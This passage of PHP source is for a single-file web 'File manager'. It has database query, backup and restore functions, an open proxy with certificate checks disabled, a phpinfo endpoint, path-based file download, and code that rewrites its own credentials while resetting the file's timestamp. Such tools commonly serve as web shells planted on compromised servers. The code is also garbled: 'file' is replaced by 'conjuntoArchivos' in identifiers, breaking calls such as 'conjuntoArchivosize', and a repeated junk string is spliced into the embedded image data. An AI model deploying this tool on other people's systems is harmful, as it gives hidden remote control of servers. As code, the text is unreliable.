	                 	                 return $connection->connect_error;
	                 }
                                       
	                 $connection->set_charset('utf8');

    $queried = mysqli_query($connection,$query);

	                 if ($queried===false) {

	                 	                 ob_end_clean();	                 
                                                                  
	                 	                 return mysqli_error($connection);
                                                                                
    } else {
	                 	                 if(!empty($queried)){
	                 	                 	                 while($row = mysqli_fetch_assoc($queried)) {
                           
	                 	                 	                 	                 $query_result[]=  $row;

	                 	                 	                 }
	                 	                 }

	                 	                 $vdump=empty($query_result)?'':var_export($query_result,true);	                 

	                 	                 ob_end_clean();	                 

	                 	                 $connection->close();

	                 	                 return '<pre>'.stripslashes($vdump).'</pre>';

	                 }

}
                                                

                                  
function fm_backup_tables($tables = '*', $full_backup = true) {

	                 global $path;
                                                                
	                 $mysqldb = fm_sql_connect();

	                 $delimiter = "; \n  \n";

	                 if($tables == '*')	                 {
                                                    
	                 	                 $tables = array();

	                 	                 $result = $mysqldb->query('SHOW TABLES');

	                 	                 while($row = mysqli_fetch_row($result))	                 {
                                                          
	                 	                 	                 $tables[] = $row[0];

	                 	                 }

	                 } else {
	                 	                 $tables = is_array($tables) ? $tables : explode(',',$tables);

	                 }
    

	                 $return='';
                                                                                                 
	                 foreach($tables as $table)	                 {
	                 	                 $result = $mysqldb->query('SELECT * FROM '.$table);

	                 	                 $num_fields = mysqli_num_fields($result);

	                 	                 $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
                                                                                                    
	                 	                 $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
	                 	                 $return.=$row2[1].$delimiter;
                                                                             
        if ($full_backup) {
	                 	                 for ($i = 0; $i < $num_fields; $i++)  {

	                 	                 	                 while($row = mysqli_fetch_row($result)) {

	                 	                 	                 	                 $return.= 'INSERT INTO `'.$table.'` VALUES(';

	                 	                 	                 	                 for($j=0; $j<$num_fields; $j++)	                 {
                                                                                           
	                 	                 	                 	                 	                 $row[$j] = addslashes($row[$j]);

	                 	                 	                 	                 	                 $row[$j] = str_replace("\n","\\n",$row[$j]);
                                                             
	                 	                 	                 	                 	                 if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

	                 	                 	                 	                 	                 if ($j<($num_fields-1)) { $return.= ','; }
                                                                                  
	                 	                 	                 	                 }

	                 	                 	                 	                 $return.= ')'.$delimiter;
	                 	                 	                 }
                                                              
	                 	                   }

	                 	                 } else { 
                                                                                                
	                 	                 $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

	                 	                 }
	                 	                 $return.="\n\n\n";
	                 }


                      
	                 //save file
                                      
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	                 $handle = fopen($file,'w+');

	                 fwrite($handle,$return);
	                 fclose($handle);

	                 $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
                                                       
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}



function fm_restore_tables($sqlFileToExecute) {
                               
	                 $mysqldb = fm_sql_connect();
                                                   
	                 $delimiter = "; \n  \n";
    // Load and explode the sql file

    $f = fopen($sqlFileToExecute,"r+");
                                                     
    $sqlFile = fread($f,conjuntoArchivosize($sqlFileToExecute));

    $sqlArray = explode($delimiter,$sqlFile);

	                 

    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){
	                 	                 	                 $result = $mysqldb->query($stmt);
                                                                                           
	                 	                 	                 	                 if (!$result){

	                 	                 	                 	                 	                 $sqlErrorCode = mysqli_errno($mysqldb->connection);
                        
	                 	                 	                 	                 	                 $sqlErrorText = mysqli_error($mysqldb->connection);
                             
	                 	                 	                 	                 	                 $sqlStmt      = $stmt;

	                 	                 	                 	                 	                 break;
           	                      }

           	                   }

           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}



function fm_img_link($filename){
	                 return './'.basename(__FILE__).'?img='.base64_encode($filename);

}
                                             

                                                                                   
function fm_home_style(){
                                                 
	                 return '
                               
input, input.fm_input {

	                 text-indent: 2px;
                                                                        
}


input, textarea, select, input.fm_input {

	                 color: black;
                                
	                 font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	                 border-color: black;

	                 background-color: #FCFCFC none !important;

	                 border-radius: 0;
	                 padding: 2px;

}



input.fm_input {

	                 background: #FCFCFC none !important;

	                 cursor: pointer;
                                                                                
}
                                                                             


.home {

	                 background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWs/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3TMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhW/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	                 background-repeat: no-repeat;
}';
                         
}



function fm_config_checkbox_row($name,$value) {

	                 global $fm_config;

	                 return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
                                                                               
}


function fm_protocol() {
	                 if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	                 if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	                 if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	                 if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	                 return 'http://';
}
                                                                                                  

                                            
function fm_site_url() {
	                 return fm_protocol().$_SERVER['HTTP_HOST'];

}
                                                                                


function fm_url($full=false) {
	                 $host=$full?fm_site_url():'.';

	                 return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){

	                 return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}
                                                                                 


function fm_run_input($lng) {
	                 global $fm_config;
                                  
	                 $return = !empty($fm_config['enable_'.$lng.'_console']) ? 

	                 '

	                 	                 	                 	                 <form  method="post" action="'.fm_url().'" style="display:inline">

	                 	                 	                 	                 <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

	                 	                 	                 	                 </form>
' : '';
                                                            
	                 return $return;

}

                                                                                                   
function fm_url_proxy($matches) {

	                 $link = str_replace('&amp;','&',$matches[2]);

	                 $url = isset($_GET['url'])?$_GET['url']:'';

	                 $parse_url = parse_url($url);

	                 $host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	                 if (substr($link,0,2)=='//') {
                                                    
	                 	                 $link = substr_replace($link,fm_protocol(),0,2);
                                 
	                 } elseif (substr($link,0,1)=='/') {
	                 	                 $link = substr_replace($link,$host,0,1);	                 

	                 } elseif (substr($link,0,2)=='./') {

	                 	                 $link = substr_replace($link,$host,0,2);	                 

	                 } elseif (substr($link,0,4)=='http') {

	                 	                 //alles machen wunderschon
                                
	                 } else {

	                 	                 $link = $host.$link;
	                 } 

	                 if ($matches[1]=='href' && !strripos($link, 'css')) {
	                 	                 $base = fm_site_url().'/'.basename(__FILE__);

	                 	                 $baseq = $base.'?proxy=true&url=';
	                 	                 $link = $baseq.urlencode($link);

	                 } elseif (strripos($link, 'css')){

	                 	                 //как-то тоже подменять надо

	                 }

	                 return $matches[1].'="'.$link.'"';
                                                                     
}
 

function fm_tpl_form($lng_tpl) {

	                 global ${$lng_tpl.'_templates'};
                                                                                 
	                 $tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	                 $str = '';
	                 foreach ($tpl_arr as $ktpl=>$vtpl) {

	                 	                 $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	                 }

return '
                                                                               
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
                                                              
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>
                                                                                          
</table>
';

}
                                                                                           


function find_text_in_conjuntoArchivos($dir, $mask, $text) {
                                                           
    $results = array();
    if ($handle = opendir($dir)) {

        while (false !== ($entry = readdir($handle))) {

            if ($entry != "." && $entry != "..") {

                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_conjuntoArchivos($path, $mask, $text));
                                                                                            
                } else {
                    if (fnmatch($mask, $entry)) {
                                
                        $contents = file_get_contents($path);

                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }

                    }

                }

            }

        }

        closedir($handle);
    }
    return $results;
                                                        
}
                                                                   



                                                     
/* End Functions */



// authorization

if ($auth['authorize']) {
                                                   
	                 if (isset($_POST['login']) && isset($_POST['password'])){

	                 	                 if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {

	                 	                 	                 setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));

	                 	                 	                 $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
	                 	                 }
                                  
	                 }

	                 if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
                                           
	                 	                 echo '
<!doctype html>

<html>

<head>
<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>
<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
                                                         
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
                                                                                  
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
                                                  
</html>

';  

die();

	                 }
                                                                                         
	                 if (isset($_POST['quit'])) {
	                 	                 unset($_COOKIE[$auth['cookie_name']]);
                                 
	                 	                 setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
                                                                                  
	                 	                 header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
                                                                                        
	                 }
                                                  
}



// Change config
if (isset($_GET['fm_settings'])) {
	                 if (isset($_GET['fm_config_delete'])) { 
	                 	                 unset($_COOKIE['fm_config']);

	                 	                 setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));

	                 	                 header('Location: '.fm_url().'?fm_settings=true');

	                 	                 exit(0);
	                 }	                 elseif (isset($_POST['fm_config'])) { 
	                 	                 $fm_config = $_POST['fm_config'];
                                                                                   
	                 	                 setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));

	                 	                 $_COOKIE['fm_config'] = serialize($fm_config);
	                 	                 $msg = __('Settings').' '.__('done');

	                 }	                 elseif (isset($_POST['fm_login'])) { 

	                 	                 if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

	                 	                 $fm_login = json_encode($_POST['fm_login']);

	                 	                 $fgc = file_get_contents(__FILE__);

	                 	                 $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	                 	                 if (!empty($matches[1])) {

	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {

	                 	                 	                 	                 $msg .= __('File updated');
                                   
	                 	                 	                 	                 if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
	                 	                 	                 	                 if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];

	                 	                 	                 	                 $auth = $_POST['fm_login'];

	                 	                 	                 }
	                 	                 	                 else $msg .= __('Error occurred');

	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 }
	                 } elseif (isset($_POST['tpl_edited'])) { 

	                 	                 $lng_tpl = $_POST['tpl_edited'];
	                 	                 if (!empty($_POST[$lng_tpl.'_name'])) {

	                 	                 	                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

	                 	                 } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

	                 	                 	                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
	                 	                 }
                                                                                                    
	                 	                 if (!empty($fm_php)) {
                                   
	                 	                 	                 $fgc = file_get_contents(__FILE__);

	                 	                 	                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
                                 
	                 	                 	                 if (!empty($matches[1])) {
                                                            
	                 	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
	                 	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {
	                 	                 	                 	                 	                 ${$lng_tpl.'_templates'} = $fm_php;
	                 	                 	                 	                 	                 $msg .= __('File updated');
                                     
	                 	                 	                 	                 } else $msg .= __('Error occurred');
                                                     
	                 	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 	                 }	                 

	                 	                 } else $msg .= __('Error occurred');
                                
	                 }
}

// Just show image
if (isset($_GET['img'])) {
	                 $file=base64_decode($_GET['img']);
                                                                                  
	                 if ($info=getimagesize($file)){

	                 	                 switch  ($info[2]){	                 //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

	                 	                 	                 case 1: $ext='gif'; break;

	                 	                 	                 case 2: $ext='jpeg'; break;

	                 	                 	                 case 3: $ext='png'; break;

	                 	                 	                 case 6: $ext='bmp'; break;

	                 	                 	                 default: die();
	                 	                 }
	                 	                 header("Content-type: image/$ext");

	                 	                 echo file_get_contents($file);

	                 	                 die();

	                 }
}


                                                   
// Just download file

if (isset($_GET['download'])) {

	                 $file=base64_decode($_GET['download']);
	                 fm_download($file);	                 

}



// Just show info
if (isset($_GET['phpinfo'])) {
                                   
	                 phpinfo(); 

	                 die();

}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
                                                                                           
	                 $url = isset($_GET['url'])?urldecode($_GET['url']):'';
                                                         
	                 $proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	                 <form action="" method="GET">

	                 <input type="hidden" name="proxy" value="true">

	                 '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	                 <input type="submit" value="'.__('Show').'" class="fm_input">
                                               
	                 </form>

</div>
                          
';

	                 if ($url) {
	                 	                 $ch = curl_init($url);

	                 	                 curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

	                 	                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	                 	                 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

	                 	                 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

	                 	                 curl_setopt($ch, CURLOPT_HEADER, 0);
	                 	                 curl_setopt($ch, CURLOPT_REFERER, $url);

	                 	                 curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

	                 	                 $result = curl_exec($ch);
                              
	                 	                 curl_close($ch);
	                 	                 //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
                                        
	                 	                 $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
	                 	                 $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

	                 	                 echo $result;
                                                        
	                 	                 die();
                                                                                        
	                 } 
}

?>
                                    
<!doctype html>

<html>
<head>     
                                       
	                 <meta charset="utf-8" />

	                 <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>

<style>
                                                
body {

	                 background-color:	                 white;

	                 font-family:	                 	                 Verdana, Arial, Helvetica, sans-serif;
	                 font-size:	                 	                 	                 8pt;
                                                     
	                 margin:	                 	                 	                 	                 0px;

}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }
                                               
a.th:link { color: #FFA34F; text-decoration: none; }
                                                                                  
a.th:active { color: #FFA34F; text-decoration: none; }
                                                                                             
a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
                                                                    
	                 background-color: #ACBBC6
}
                                                                   


th, td { 
	                 font:	                 normal 8pt Verdana, Arial, Helvetica, sans-serif;

	                 padding: 3px;

}

th	                 {
	                 height:	                 	                 	                 	                 25px;
                                                                     
	                 background-color:	                 #006699;

	                 color:	                 	                 	                 	                 #FFA34F;
	                 font-weight:	                 	                 bold;

	                 font-size:	                 	                 	                 11px;
}
                                                                                         

                                       
.row1 {

	                 background-color:	                 #EFEFEF;

}
                                 

.row2 {
                                                                                           
	                 background-color:	                 #DEE3E7;
}
                                                  


.row3 {
                                   
	                 background-color:	                 #D1D7DC;

	                 padding: 5px;
}


                                                       
tr.row1:hover {

	                 background-color:	                 #F3FCFC;
}

                                                                  
tr.row2:hover {

	                 background-color:	                 #F0F6F6;
}


                                                                     
.whole {
                              
	                 width: 100%;
}
                         


.all tbody td:first-child{width:100%;}

                                                                        
textarea {

	                 font: 9pt 'Courier New', courier;

	                 line-height: 125%;
                                                                                         
	                 padding: 5px;

}



.textarea_input {

	                 height: 1em;

}



.textarea_input:focus {

	                 height: auto;
                                                                                 
}



input[type=submit]{

	                 background: #FCFCFC none !important;

	                 cursor: pointer;
                       
}



.folder {
                                         
    background-image: url("data:image/png;base64,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");

}
                         

                                                                            
.file {
                          
